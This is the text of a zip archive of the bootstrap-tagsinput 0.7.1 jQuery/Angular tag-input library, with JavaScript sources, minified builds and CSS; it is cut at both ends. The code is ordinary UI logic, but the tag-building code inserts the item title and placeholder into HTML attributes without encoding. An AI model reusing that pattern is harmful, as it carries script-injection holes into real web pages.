        var typeaheadSource = typeaheadSourceArray ?
            (typeaheadSourceArray.length > 1 ?
                scope.$parent[typeaheadSourceArray[0]][typeaheadSourceArray[1]]
                : scope.$parent[typeaheadSourceArray[0]])
            : null;

        select.tagsinput(scope.$parent[attrs.options || ''] || {
          typeahead : {
            source   : angular.isFunction(typeaheadSource) ? typeaheadSource : null
          },
          itemValue: getItemProperty(scope, attrs.itemvalue),
          itemText : getItemProperty(scope, attrs.itemtext),
          confirmKeys : getItemProperty(scope, attrs.confirmkeys) ? JSON.parse(attrs.confirmkeys) : [13],
          tagClass : angular.isFunction(scope.$parent[attrs.tagclass]) ? scope.$parent[attrs.tagclass] : function(item) { return attrs.tagclass; }
        });

        for (var i = 0; i < scope.model.length; i++) {
          select.tagsinput('add', scope.model[i]);
        }

        select.on('itemAdded', function(event) {
          if (scope.model.indexOf(event.item) === -1)
            scope.model.push(event.item);
        });

        select.on('itemRemoved', function(event) {
          var idx = scope.model.indexOf(event.item);
          if (idx !== -1)
            scope.model.splice(idx, 1);
        });

        // create a shallow copy of model's current state, needed to determine
        // diff when model changes
        var prev = scope.model.slice();
        scope.$watch("model", function() {
          var added = scope.model.filter(function(i) {return prev.indexOf(i) === -1;}),
              removed = prev.filter(function(i) {return scope.model.indexOf(i) === -1;}),
              i;

          prev = scope.model.slice();

          // Remove tags no longer in binded model
          for (i = 0; i < removed.length; i++) {
            select.tagsinput('remove', removed[i]);
          }

          // Refresh remaining tags
          select.tagsinput('refresh');

          // Add new items in model as tags
          for (i = 0; i < added.length; i++) {
            select.tagsinput('add', added[i]);
          }
        }, true);
      });
    }
  };
}]);
PK
�jG�T+��'dist/bootstrap-tagsinput-angular.min.js/*
 * bootstrap-tagsinput v0.7.1 by Tim Schlechter
 * 
 */

angular.module("bootstrap-tagsinput",[]).directive("bootstrapTagsinput",[function(){function a(a,b){return b?angular.isFunction(a.$parent[b])?a.$parent[b]:function(a){return a[b]}:void 0}return{restrict:"EA",scope:{model:"=ngModel"},template:"<select multiple></select>",replace:!1,link:function(b,c,d){$(function(){angular.isArray(b.model)||(b.model=[]);var e=$("select",c),f=d.typeaheadSource?d.typeaheadSource.split("."):null,g=f?f.length>1?b.$parent[f[0]][f[1]]:b.$parent[f[0]]:null;e.tagsinput(b.$parent[d.options||""]||{typeahead:{source:angular.isFunction(g)?g:null},itemValue:a(b,d.itemvalue),itemText:a(b,d.itemtext),confirmKeys:a(b,d.confirmkeys)?JSON.parse(d.confirmkeys):[13],tagClass:angular.isFunction(b.$parent[d.tagclass])?b.$parent[d.tagclass]:function(a){return d.tagclass}});for(var h=0;h<b.model.length;h++)e.tagsinput("add",b.model[h]);e.on("itemAdded",function(a){-1===b.model.indexOf(a.item)&&b.model.push(a.item)}),e.on("itemRemoved",function(a){var c=b.model.indexOf(a.item);-1!==c&&b.model.splice(c,1)});var i=b.model.slice();b.$watch("model",function(){var a,c=b.model.filter(function(a){return-1===i.indexOf(a)}),d=i.filter(function(a){return-1===b.model.indexOf(a)});for(i=b.model.slice(),a=0;a<d.length;a++)e.tagsinput("remove",d[a]);for(e.tagsinput("refresh"),a=0;a<c.length;a++)e.tagsinput("add",c[a])},!0)})}}}]);
//# sourceMappingURL=bootstrap-tagsinput-angular.min.js.mapPK
�jG	�L�UUdist/bootstrap-tagsinput.js(function ($) {
  "use strict";

  var defaultOptions = {
    tagClass: function(item) {
      return 'label label-info';
    },
    itemValue: function(item) {
      return item ? item.toString() : item;
    },
    itemText: function(item) {
      return this.itemValue(item);
    },
    itemTitle: function(item) {
      return null;
    },
    freeInput: true,
    addOnBlur: true,
    maxTags: undefined,
    maxChars: undefined,
    confirmKeys: [13, 44],
    delimiter: ',',
    delimiterRegex: null,
    cancelConfirmKeysOnEmpty: false,
    onTagExists: function(item, $tag) {
      $tag.hide().fadeIn();
    },
    trimValue: false,
    allowDuplicates: false
  };

  /**
   * Constructor function
   */
  function TagsInput(element, options) {
    this.isInit = true;
    this.itemsArray = [];

    this.$element = $(element);
    this.$element.hide();

    this.isSelect = (element.tagName === 'SELECT');
    this.multiple = (this.isSelect && element.hasAttribute('multiple'));
    this.objectItems = options && options.itemValue;
    this.placeholderText = element.hasAttribute('placeholder') ? this.$element.attr('placeholder') : '';
    this.inputSize = Math.max(1, this.placeholderText.length);

    this.$container = $('<div class="bootstrap-tagsinput"></div>');
    this.$input = $('<input type="text" placeholder="' + this.placeholderText + '"/>').appendTo(this.$container);

    this.$element.before(this.$container);

    this.build(options);
    this.isInit = false;
  }

  TagsInput.prototype = {
    constructor: TagsInput,

    /**
     * Adds the given item as a new tag. Pass true to dontPushVal to prevent
     * updating the elements val()
     */
    add: function(item, dontPushVal, options) {
      var self = this;

      if (self.options.maxTags && self.itemsArray.length >= self.options.maxTags)
        return;

      // Ignore falsey values, except false
      if (item !== false && !item)
        return;

      // Trim value
      if (typeof item === "string" && self.options.trimValue) {
        item = $.trim(item);
      }

      // Throw an error when trying to add an object while the itemValue option was not set
      if (typeof item === "object" && !self.objectItems)
        throw("Can't add objects when itemValue option is not set");

      // Ignore strings only containg whitespace
      if (item.toString().match(/^\s*$/))
        return;

      // If SELECT but not multiple, remove current tag
      if (self.isSelect && !self.multiple && self.itemsArray.length > 0)
        self.remove(self.itemsArray[0]);

      if (typeof item === "string" && this.$element[0].tagName === 'INPUT') {
        var delimiter = (self.options.delimiterRegex) ? self.options.delimiterRegex : self.options.delimiter;
        var items = item.split(delimiter);
        if (items.length > 1) {
          for (var i = 0; i < items.length; i++) {
            this.add(items[i], true);
          }

          if (!dontPushVal)
            self.pushVal();
          return;
        }
      }

      var itemValue = self.options.itemValue(item),
          itemText = self.options.itemText(item),
          tagClass = self.options.tagClass(item),
          itemTitle = self.options.itemTitle(item);

      // Ignore items allready added
      var existing = $.grep(self.itemsArray, function(item) { return self.options.itemValue(item) === itemValue; } )[0];
      if (existing && !self.options.allowDuplicates) {
        // Invoke onTagExists
        if (self.options.onTagExists) {
          var $existingTag = $(".tag", self.$container).filter(function() { return $(this).data("item") === existing; });
          self.options.onTagExists(item, $existingTag);
        }
        return;
      }

      // if length greater than limit
      if (self.items().toString().length + item.length + 1 > self.options.maxInputLength)
        return;

      // raise beforeItemAdd arg
      var beforeItemAddEvent = $.Event('beforeItemAdd', { item: item, cancel: false, options: options});
      self.$element.trigger(beforeItemAddEvent);
      if (beforeItemAddEvent.cancel)
        return;

      // register item in internal array and map
      self.itemsArray.push(item);

      // add a tag element

      var $tag = $('<span class="tag ' + htmlEncode(tagClass) + (itemTitle !== null ? ('" title="' + itemTitle) : '') + '">' + htmlEncode(itemText) + '<span data-role="remove"></span></span>');
      $tag.data('item', item);
      self.findInputWrapper().before($tag);
      $tag.after(' ');

      // Check to see if the tag exists in its raw or uri-encoded form
      var optionExists = (
        $('option[value="' + encodeURIComponent(itemValue) + '"]', self.$element).length ||
        $('option[value="' + htmlEncode(itemValue) + '"]', self.$element).length
      );

      // add <option /> if item represents a value not present in one of the <select />'s options
      if (self.isSelect && !optionExists) {
        var $option = $('<option selected>' + htmlEncode(itemText) + '</option>');
        $option.data('item', item);
        $option.attr('value', itemValue);
        self.$element.append($option);
      }

      if (!dontPushVal)
        self.pushVal();

      // Add class when reached maxTags
      if (self.options.maxTags === self.itemsArray.length || self.items().toString().length === self.options.maxInputLength)
        self.$container.addClass('bootstrap-tagsinput-max');

      // If using typeahead, once the tag has been added, clear the typeahead value so it does not stick around in the input.
      if ($('.typeahead, .twitter-typeahead', self.$container).length) {
        self.$input.typeahead('val', '');
      }

      if (this.isInit) {
        self.$element.trigger($.Event('itemAddedOnInit', { item: item, options: options }));
      } else {
        self.$element.trigger($.Event('itemAdded', { item: item, options: options }));
      }
    },

    /**
     * Removes the given item. Pass true to dontPushVal to prevent updating the
     * elements val()
     */
    remove: function(item, dontPushVal, options) {
      var self = this;

      if (self.objectItems) {
        if (typeof item === "object")
          item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) ==  self.options.itemValue(item); } );
        else
          item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) ==  item; } );

        item = item[item.length-1];
      }

      if (item) {
        var beforeItemRemoveEvent = $.Event('beforeItemRemove', { item: item, cancel: false, options: options });
        self.$element.trigger(beforeItemRemoveEvent);
        if (beforeItemRemoveEvent.cancel)
          return;

        $('.tag', self.$container).filter(function() { return $(this).data('item') === item; }).remove();
        $('option', self.$element).filter(function() { return $(this).data('item') === item; }).remove();
        if($.inArray(item, self.itemsArray) !== -1)
          self.itemsArray.splice($.inArray(item, self.itemsArray), 1);
      }

      if (!dontPushVal)
        self.pushVal();

      // Remove class when reached maxTags
      if (self.options.maxTags > self.itemsArray.length)
        self.$container.removeClass('bootstrap-tagsinput-max');

      self.$element.trigger($.Event('itemRemoved',  { item: item, options: options }));
    },

    /**
     * Removes all items
     */
    removeAll: function() {
      var self = this;

      $('.tag', self.$container).remove();
      $('option', self.$element).remove();

      while(self.itemsArray.length > 0)
        self.itemsArray.pop();

      self.pushVal();
    },

    /**
     * Refreshes the tags so they match the text/value of their corresponding
     * item.
     */
    refresh: function() {
      var self = this;
      $('.tag', self.$container).each(function() {
        var $tag = $(this),
            item = $tag.data('item'),
            itemValue = self.options.itemValue(item),
            itemText = self.options.itemText(item),
            tagClass = self.options.tagClass(item);

          // Update tag's class and inner text
          $tag.attr('class', null);
          $tag.addClass('tag ' + htmlEncode(tagClass));
          $tag.contents().filter(function() {
            return this.nodeType == 3;
          })[0].nodeValue = htmlEncode(itemText);

          if (self.isSelect) {
            var option = $('option', self.$element).filter(function() { return $(this).data('item') === item; });
            option.attr('value', itemValue);
          }
      });
    },

    /**
     * Returns the items added as tags
     */
    items: function() {
      return this.itemsArray;
    },

    /**
     * Assembly value by retrieving the value of each item, and set it on the
     * element.
     */
    pushVal: function() {
      var self = this,
          val = $.map(self.items(), function(item) {
            return self.options.itemValue(item).toString();
          });

      self.$element.val(val, true).trigger('change');
    },

    /**
     * Initializes the tags input behaviour on the element
     */
    build: function(options) {
      var self = this;

      self.options = $.extend({}, defaultOptions, options);
      // When itemValue is set, freeInput should always be false
      if (self.objectItems)
        self.options.freeInput = false;

      makeOptionItemFunction(self.options, 'itemValue');
      makeOptionItemFunction(self.options, 'itemText');
      makeOptionFunction(self.options, 'tagClass');

      // Typeahead Bootstrap version 2.3.2
      if (self.options.typeahead) {
        var typeahead = self.options.typeahead || {};

        makeOptionFunction(typeahead, 'source');

        self.$input.typeahead($.extend({}, typeahead, {
          source: function (query, process) {
            function processItems(items) {
              var texts = [];

              for (var i = 0; i < items.length; i++) {
                var text = self.options.itemText(items[i]);
                map[text] = items[i];
                texts.push(text);
              }
              process(texts);
            }

            this.map = {};
            var map = this.map,
                data = typeahead.source(query);

            if ($.isFunction(data.success)) {
              // support for Angular callbacks
              data.success(processItems);
            } else if ($.isFunction(data.then)) {
              // support for Angular promises
              data.then(processItems);
            } else {
              // support for functions and jquery promises
              $.when(data)
               .then(processItems);
            }
          },
          updater: function (text) {
            self.add(this.map[text]);
            return this.map[text];
          },
          matcher: function (text) {
            return (text.toLowerCase().indexOf(this.query.trim().toLowerCase()) !== -1);
          },
          sorter: function (texts) {
            return texts.sort();
          },
          highlighter: function (text) {
            var regex = new RegExp( '(' + this.query + ')', 'gi' );
            return text.replace( regex, "<strong>$1</strong>" );
          }
        }));
      }

      // typeahead.js
      if (self.options.typeaheadjs) {
          var typeaheadConfig = null;
          var typeaheadDatasets = {};

          // Determine if main configurations were passed or simply a dataset
          var typeaheadjs = self.options.typeaheadjs;
          if ($.isArray(typeaheadjs)) {
            typeaheadConfig = typeaheadjs[0];
            typeaheadDatasets = typeaheadjs[1];
          } else {
            typeaheadDatasets = typeaheadjs;
          }

          self.$input.typeahead(typeaheadConfig, typeaheadDatasets).on('typeahead:selected', $.proxy(function (obj, datum) {
            if (typeaheadDatasets.valueKey)
              self.add(datum[typeaheadDatasets.valueKey]);
            else
              self.add(datum);
            self.$input.typeahead('val', '');
          }, self));
      }

      self.$container.on('click', $.proxy(function(event) {
        if (! self.$element.attr('disabled')) {
          self.$input.removeAttr('disabled');
        }
        self.$input.focus();
      }, self));

        if (self.options.addOnBlur && self.options.freeInput) {
          self.$input.on('focusout', $.proxy(function(event) {
              // HACK: only process on focusout when no typeahead opened, to
              //       avoid adding the typeahead text as tag
              if ($('.typeahead, .twitter-typeahead', self.$container).length === 0) {
                self.add(self.$input.val());
                self.$input.val('');
              }
          }, self));
        }


      self.$container.on('keydown', 'input', $.proxy(function(event) {
        var $input = $(event.target),
            $inputWrapper = self.findInputWrapper();

        if (self.$element.attr('disabled')) {
          self.$input.attr('disabled', 'disabled');
          return;
        }

        switch (event.which) {
          // BACKSPACE
          case 8:
            if (doGetCaretPosition($input[0]) === 0) {
              var prev = $inputWrapper.prev();
              if (prev.length) {
                self.remove(prev.data('item'));
              }
            }
            break;

          // DELETE
          case 46:
            if (doGetCaretPosition($input[0]) === 0) {
              var next = $inputWrapper.next();
              if (next.length) {
                self.remove(next.data('item'));
              }
            }
            break;

          // LEFT ARROW
          case 37:
            // Try to move the input before the previous tag
            var $prevTag = $inputWrapper.prev();
            if ($input.val().length === 0 && $prevTag[0]) {
              $prevTag.before($inputWrapper);
              $input.focus();
            }
            break;
          // RIGHT ARROW
          case 39:
            // Try to move the input after the next tag
            var $nextTag = $inputWrapper.next();
            if ($input.val().length === 0 && $nextTag[0]) {
              $nextTag.after($inputWrapper);
              $input.focus();
            }
            break;
         default:
             // ignore
         }

        // Reset internal input's size
        var textLength = $input.val().length,
            wordSpace = Math.ceil(textLength / 5),
            size = textLength + wordSpace + 1;
        $input.attr('size', Math.max(this.inputSize, $input.val().length));
      }, self));

      self.$container.on('keypress', 'input', $.proxy(function(event) {
         var $input = $(event.target);

         if (self.$element.attr('disabled')) {
            self.$input.attr('disabled', 'disabled');
            return;
         }

         var text = $input.val(),
         maxLengthReached = self.options.maxChars && text.length >= self.options.maxChars;
         if (self.options.freeInput && (keyCombinationInList(event, self.options.confirmKeys) || maxLengthReached)) {
            // Only attempt to add a tag if there is data in the field
            if (text.length !== 0) {
               self.add(maxLengthReached ? text.substr(0, self.options.maxChars) : text);
               $input.val('');
            }

            // If the field is empty, let the event triggered fire as usual
            if (self.options.cancelConfirmKeysOnEmpty === false) {
                event.preventDefault();
            }
         }

         // Reset internal input's size
         var textLength = $input.val().length,
            wordSpace = Math.ceil(textLength / 5),
            size = textLength + wordSpace + 1;
         $input.attr('size', Math.max(this.inputSize, $input.val().length));
      }, self));

      // Remove icon clicked
      self.$container.on('click', '[data-role=remove]', $.proxy(function(event) {
        if (self.$element.attr('disabled')) {
          return;
        }
        self.remove($(event.target).closest('.tag').data('item'));
      }, self));

      // Only add existing value as tags when using strings as tags
      if (self.options.itemValue === defaultOptions.itemValue) {
        if (self.$element[0].tagName === 'INPUT') {
            self.add(self.$element.val());
        } else {
          $('option', self.$element).each(function() {
            self.add($(this).attr('value'), true);
          });
        }
      }
    },

    /**
     * Removes all tagsinput behaviour and unregsiter all event handlers
     */
    destroy: function() {
      var self = this;

      // Unbind events
      self.$container.off('keypress', 'input');
      self.$container.off('click', '[role=remove]');

      self.$container.remove();
      self.$element.removeData('tagsinput');
      self.$element.show();
    },

    /**
     * Sets focus on the tagsinput
     */
    focus: function() {
      this.$input.focus();
    },

    /**
     * Returns the internal input element
     */
    input: function() {
      return this.$input;
    },

    /**
     * Returns the element which is wrapped around the internal input. This
     * is normally the $container, but typeahead.js moves the $input element.
     */
    findInputWrapper: function() {
      var elt = this.$input[0],
          container = this.$container[0];
      while(elt && elt.parentNode !== container)
        elt = elt.parentNode;

      return $(elt);
    }
  };

  /**
   * Register JQuery plugin
   */
  $.fn.tagsinput = function(arg1, arg2, arg3) {
    var results = [];

    this.each(function() {
      var tagsinput = $(this).data('tagsinput');
      // Initialize a new tags input
      if (!tagsinput) {
          tagsinput = new TagsInput(this, arg1);
          $(this).data('tagsinput', tagsinput);
          results.push(tagsinput);

          if (this.tagName === 'SELECT') {
              $('option', $(this)).attr('selected', 'selected');
          }

          // Init tags from $(this).val()
          $(this).val($(this).val());
      } else if (!arg1 && !arg2) {
          // tagsinput already exists
          // no function, trying to init
          results.push(tagsinput);
      } else if(tagsinput[arg1] !== undefined) {
          // Invoke function on existing tags input
            if(tagsinput[arg1].length === 3 && arg3 !== undefined){
               var retVal = tagsinput[arg1](arg2, null, arg3);
            }else{
               var retVal = tagsinput[arg1](arg2);
            }
          if (retVal !== undefined)
              results.push(retVal);
      }
    });

    if ( typeof arg1 == 'string') {
      // Return the results from the invoked function calls
      return results.length > 1 ? results : results[0];
    } else {
      return results;
    }
  };

  $.fn.tagsinput.Constructor = TagsInput;

  /**
   * Most options support both a string or number as well as a function as
   * option value. This function makes sure that the option with the given
   * key in the given options is wrapped in a function
   */
  function makeOptionItemFunction(options, key) {
    if (typeof options[key] !== 'function') {
      var propertyName = options[key];
      options[key] = function(item) { return item[propertyName]; };
    }
  }
  function makeOptionFunction(options, key) {
    if (typeof options[key] !== 'function') {
      var value = options[key];
      options[key] = function() { return value; };
    }
  }
  /**
   * HtmlEncodes the given value
   */
  var htmlEncodeContainer = $('<div />');
  function htmlEncode(value) {
    if (value) {
      return htmlEncodeContainer.text(value).html();
    } else {
      return '';
    }
  }

  /**
   * Returns the position of the caret in the given input field
   * http://flightschool.acylt.com/devnotes/caret-position-woes/
   */
  function doGetCaretPosition(oField) {
    var iCaretPos = 0;
    if (document.selection) {
      oField.focus ();
      var oSel = document.selection.createRange();
      oSel.moveStart ('character', -oField.value.length);
      iCaretPos = oSel.text.length;
    } else if (oField.selectionStart || oField.selectionStart == '0') {
      iCaretPos = oField.selectionStart;
    }
    return (iCaretPos);
  }

  /**
    * Returns boolean indicates whether user has pressed an expected key combination.
    * @param object keyPressEvent: JavaScript event object, refer
    *     http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
    * @param object lookupList: expected key combinations, as in:
    *     [13, {which: 188, shiftKey: true}]
    */
  function keyCombinationInList(keyPressEvent, lookupList) {
      var found = false;
      $.each(lookupList, function (index, keyCombination) {
          if (typeof (keyCombination) === 'number' && keyPressEvent.which === keyCombination) {
              found = true;
              return false;
          }

          if (keyPressEvent.which === keyCombination.which) {
              var alt = !keyCombination.hasOwnProperty('altKey') || keyPressEvent.altKey === keyCombination.altKey,
                  shift = !keyCombination.hasOwnProperty('shiftKey') || keyPressEvent.shiftKey === keyCombination.shiftKey,
                  ctrl = !keyCombination.hasOwnProperty('ctrlKey') || keyPressEvent.ctrlKey === keyCombination.ctrlKey;
              if (alt && shift && ctrl) {
                  found = true;
                  return false;
              }
          }
      });

      return found;
  }

  /**
   * Initialize tagsinput behaviour on inputs and selects which have
   * data-role=tagsinput
   */
  $(function() {
    $("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput();
  });
})(window.jQuery);
PK
�jG���#�#dist/bootstrap-tagsinput.min.js/*
 * bootstrap-tagsinput v0.7.1 by Tim Schlechter
 * 
 */

!function(a){"use strict";function b(b,c){this.isInit=!0,this.itemsArray=[],this.$element=a(b),this.$element.hide(),this.isSelect="SELECT"===b.tagName,this.multiple=this.isSelect&&b.hasAttribute("multiple"),this.objectItems=c&&c.itemValue,this.placeholderText=b.hasAttribute("placeholder")?this.$element.attr("placeholder"):"",this.inputSize=Math.max(1,this.placeholderText.length),this.$container=a('<div class="bootstrap-tagsinput"></div>'),this.$input=a('<input type="text" placeholder="'+this.placeholderText+'"/>').appendTo(this.$container),this.$element.before(this.$container),this.build(c),this.isInit=!1}function c(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(a){return a[c]}}}function d(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(){return c}}}function e(a){return a?i.text(a).html():""}function f(a){var b=0;if(document.selection){a.focus();var c=document.selection.createRange();c.moveStart("character",-a.value.length),b=c.text.length}else(a.selectionStart||"0"==a.selectionStart)&&(b=a.selectionStart);return b}function g(b,c){var d=!1;return a.each(c,function(a,c){if("number"==typeof c&&b.which===c)return d=!0,!1;if(b.which===c.which){var e=!c.hasOwnProperty("altKey")||b.altKey===c.altKey,f=!c.hasOwnProperty("shiftKey")||b.shiftKey===c.shiftKey,g=!c.hasOwnProperty("ctrlKey")||b.ctrlKey===c.ctrlKey;if(e&&f&&g)return d=!0,!1}}),d}var h={tagClass:function(a){return"label label-info"},itemValue:function(a){return a?a.toString():a},itemText:function(a){return this.itemValue(a)},itemTitle:function(a){return null},freeInput:!0,addOnBlur:!0,maxTags:void 0,maxChars:void 0,confirmKeys:[13,44],delimiter:",",delimiterRegex:null,cancelConfirmKeysOnEmpty:!1,onTagExists:function(a,b){b.hide().fadeIn()},trimValue:!1,allowDuplicates:!1};b.prototype={constructor:b,add:function(b,c,d){var f=this;if(!(f.options.maxTags&&f.itemsArray.length>=f.options.maxTags)&&(b===!1||b)){if("string"==typeof b&&f.options.trimValue&&(b=a.trim(b)),"object"==typeof b&&!f.objectItems)throw"Can't add objects when itemValue option is not set";if(!b.toString().match(/^\s*$/)){if(f.isSelect&&!f.multiple&&f.itemsArray.length>0&&f.remove(f.itemsArray[0]),"string"==typeof b&&"INPUT"===this.$element[0].tagName){var g=f.options.delimiterRegex?f.options.delimiterRegex:f.options.delimiter,h=b.split(g);if(h.length>1){for(var i=0;i<h.length;i++)this.add(h[i],!0);return void(c||f.pushVal())}}var j=f.options.itemValue(b),k=f.options.itemText(b),l=f.options.tagClass(b),m=f.options.itemTitle(b),n=a.grep(f.itemsArray,function(a){return f.options.itemValue(a)===j})[0];if(!n||f.options.allowDuplicates){if(!(f.items().toString().length+b.length+1>f.options.maxInputLength)){var o=a.Event("beforeItemAdd",{item:b,cancel:!1,options:d});if(f.$element.trigger(o),!o.cancel){f.itemsArray.push(b);var p=a('<span class="tag '+e(l)+(null!==m?'" title="'+m:"")+'">'+e(k)+'<span data-role="remove"></span></span>');p.data("item",b),f.findInputWrapper().before(p),p.after(" ");var q=a('option[value="'+encodeURIComponent(j)+'"]',f.$element).length||a('option[value="'+e(j)+'"]',f.$element).length;if(f.isSelect&&!q){var r=a("<option selected>"+e(k)+"</option>");r.data("item",b),r.attr("value",j),f.$element.append(r)}c||f.pushVal(),(f.options.maxTags===f.itemsArray.length||f.items().toString().length===f.options.maxInputLength)&&f.$container.addClass("bootstrap-tagsinput-max"),a(".typeahead, .twitter-typeahead",f.$container).length&&f.$input.typeahead("val",""),this.isInit?f.$element.trigger(a.Event("itemAddedOnInit",{item:b,options:d})):f.$element.trigger(a.Event("itemAdded",{item:b,options:d}))}}}else if(f.options.onTagExists){var s=a(".tag",f.$container).filter(function(){return a(this).data("item")===n});f.options.onTagExists(b,s)}}}},remove:function(b,c,d){var e=this;if(e.objectItems&&(b="object"==typeof b?a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==e.options.itemValue(b)}):a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==b}),b=b[b.length-1]),b){var f=a.Event("beforeItemRemove",{item:b,cancel:!1,options:d});if(e.$element.trigger(f),f.cancel)return;a(".tag",e.$container).filter(function(){return a(this).data("item")===b}).remove(),a("option",e.$element).filter(function(){return a(this).data("item")===b}).remove(),-1!==a.inArray(b,e.itemsArray)&&e.itemsArray.splice(a.inArray(b,e.itemsArray),1)}c||e.pushVal(),e.options.maxTags>e.itemsArray.length&&e.$container.removeClass("bootstrap-tagsinput-max"),e.$element.trigger(a.Event("itemRemoved",{item:b,options:d}))},removeAll:function(){var b=this;for(a(".tag",b.$container).remove(),a("option",b.$element).remove();b.itemsArray.length>0;)b.itemsArray.pop();b.pushVal()},refresh:function(){var b=this;a(".tag",b.$container).each(function(){var c=a(this),d=c.data("item"),f=b.options.itemValue(d),g=b.options.itemText(d),h=b.options.tagClass(d);if(c.attr("class",null),c.addClass("tag "+e(h)),c.contents().filter(function(){return 3==this.nodeType})[0].nodeValue=e(g),b.isSelect){var i=a("option",b.$element).filter(function(){return a(this).data("item")===d});i.attr("value",f)}})},items:function(){return this.itemsArray},pushVal:function(){var b=this,c=a.map(b.items(),function(a){return b.options.itemValue(a).toString()});b.$element.val(c,!0).trigger("change")},build:function(b){var e=this;if(e.options=a.extend({},h,b),e.objectItems&&(e.options.freeInput=!1),c(e.options,"itemValue"),c(e.options,"itemText"),d(e.options,"tagClass"),e.options.typeahead){var i=e.options.typeahead||{};d(i,"source"),e.$input.typeahead(a.extend({},i,{source:function(b,c){function d(a){for(var b=[],d=0;d<a.length;d++){var g=e.options.itemText(a[d]);f[g]=a[d],b.push(g)}c(b)}this.map={};var f=this.map,g=i.source(b);a.isFunction(g.success)?g.success(d):a.isFunction(g.then)?g.then(d):a.when(g).then(d)},updater:function(a){return e.add(this.map[a]),this.map[a]},matcher:function(a){return-1!==a.toLowerCase().indexOf(this.query.trim().toLowerCase())},sorter:function(a){return a.sort()},highlighter:function(a){var b=new RegExp("("+this.query+")","gi");return a.replace(b,"<strong>$1</strong>")}}))}if(e.options.typeaheadjs){var j=null,k={},l=e.options.typeaheadjs;a.isArray(l)?(j=l[0],k=l[1]):k=l,e.$input.typeahead(j,k).on("typeahead:selected",a.proxy(function(a,b){k.valueKey?e.add(b[k.valueKey]):e.add(b),e.$input.typeahead("val","")},e))}e.$container.on("click",a.proxy(function(a){e.$element.attr("disabled")||e.$input.removeAttr("disabled"),e.$input.focus()},e)),e.options.addOnBlur&&e.options.freeInput&&e.$input.on("focusout",a.proxy(function(b){0===a(".typeahead, .twitter-typeahead",e.$container).length&&(e.add(e.$input.val()),e.$input.val(""))},e)),e.$container.on("keydown","input",a.proxy(function(b){var c=a(b.target),d=e.findInputWrapper();if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");switch(b.which){case 8:if(0===f(c[0])){var g=d.prev();g.length&&e.remove(g.data("item"))}break;case 46:if(0===f(c[0])){var h=d.next();h.length&&e.remove(h.data("item"))}break;case 37:var i=d.prev();0===c.val().length&&i[0]&&(i.before(d),c.focus());break;case 39:var j=d.next();0===c.val().length&&j[0]&&(j.after(d),c.focus())}var k=c.val().length;Math.ceil(k/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("keypress","input",a.proxy(function(b){var c=a(b.target);if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");var d=c.val(),f=e.options.maxChars&&d.length>=e.options.maxChars;e.options.freeInput&&(g(b,e.options.confirmKeys)||f)&&(0!==d.length&&(e.add(f?d.substr(0,e.options.maxChars):d),c.val("")),e.options.cancelConfirmKeysOnEmpty===!1&&b.preventDefault());var h=c.val().length;Math.ceil(h/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("click","[data-role=remove]",a.proxy(function(b){e.$element.attr("disabled")||e.remove(a(b.target).closest(".tag").data("item"))},e)),e.options.itemValue===h.itemValue&&("INPUT"===e.$element[0].tagName?e.add(e.$element.val()):a("option",e.$element).each(function(){e.add(a(this).attr("value"),!0)}))},destroy:function(){var a=this;a.$container.off("keypress","input"),a.$container.off("click","[role=remove]"),a.$container.remove(),a.$element.removeData("tagsinput"),a.$element.show()},focus:function(){this.$input.focus()},input:function(){return this.$input},findInputWrapper:function(){for(var b=this.$input[0],c=this.$container[0];b&&b.parentNode!==c;)b=b.parentNode;return a(b)}},a.fn.tagsinput=function(c,d,e){var f=[];return this.each(function(){var g=a(this).data("tagsinput");if(g)if(c||d){if(void 0!==g[c]){if(3===g[c].length&&void 0!==e)var h=g[c](d,null,e);else var h=g[c](d);void 0!==h&&f.push(h)}}else f.push(g);else g=new b(this,c),a(this).data("tagsinput",g),f.push(g),"SELECT"===this.tagName&&a("option",a(this)).attr("selected","selected"),a(this).val(a(this).val())}),"string"==typeof c?f.length>1?f:f[0]:f},a.fn.tagsinput.Constructor=b;var i=a("<div />");a(function(){a("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput()})}(window.jQuery);
//# sourceMappingURL=bootstrap-tagsinput.min.js.mapPK
�jG�����&dist/bootstrap-tagsinput-typeahead.css.twitter-typeahead .tt-query,
.twitter-typeahead .tt-hint {
    margin-bottom: 0;
}

.twitter-typeahead .tt-hint
{
    display: none;
}

.tt-menu {
    position: absolute;
    top: 100%;
    left: 0;
    z-index: 1000;
    display: none;
    float: left;
    min-width: 160px;
    padding: 5px 0;
    margin: 2px 0 0;
    list-style: none;
    font-size: 14px;
    background-color: #ffffff;
    border: 1px solid #cccccc;
    border: 1px solid rgba(0, 0, 0, 0.15);
    border-radius: 4px;
    -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
    box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
    background-clip: padding-box;
    cursor: pointer;
}

.tt-suggestion {
    display: block;
    padding: 3px 20px;
    clear: both;
    font-weight: normal;
    line-height: 1.428571429;
    color: #333333;
    white-space: nowrap;
}

.tt-suggestion:hover,
.tt-suggestion:focus {
    color: #ffffff;
    text-decoration: none;
    outline: 0;
    background-color: #428bca;
}
PK
�jGi��6%%dist/bootstrap-tagsinput.css.bootstrap-tagsinput {
  background-color: #fff;
  border: 1px solid #ccc;
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  display: inline-block;
  padding: 4px 6px;
  color: #555;
  vertical-align: middle;
  border-radius: 4px;
  max-width: 100%;
  line-height: 22px;
  cursor: text;
}
.bootstrap-tagsinput input {
  border: none;
  box-shadow: none;
  outline: none;
  background-color: transparent;
  padding: 0 6px;
  margin: 0;
  width: auto;
  max-width: inherit;
}
.bootstrap-tagsinput.form-control input::-moz-placeholder {
  color: #777;
  opacity: 1;
}
.bootstrap-tagsinput.form-control input:-ms-input-placeholder {
  color: #777;
}
.bootstrap-tagsinput.form-control input::-webkit-input-placeholder {
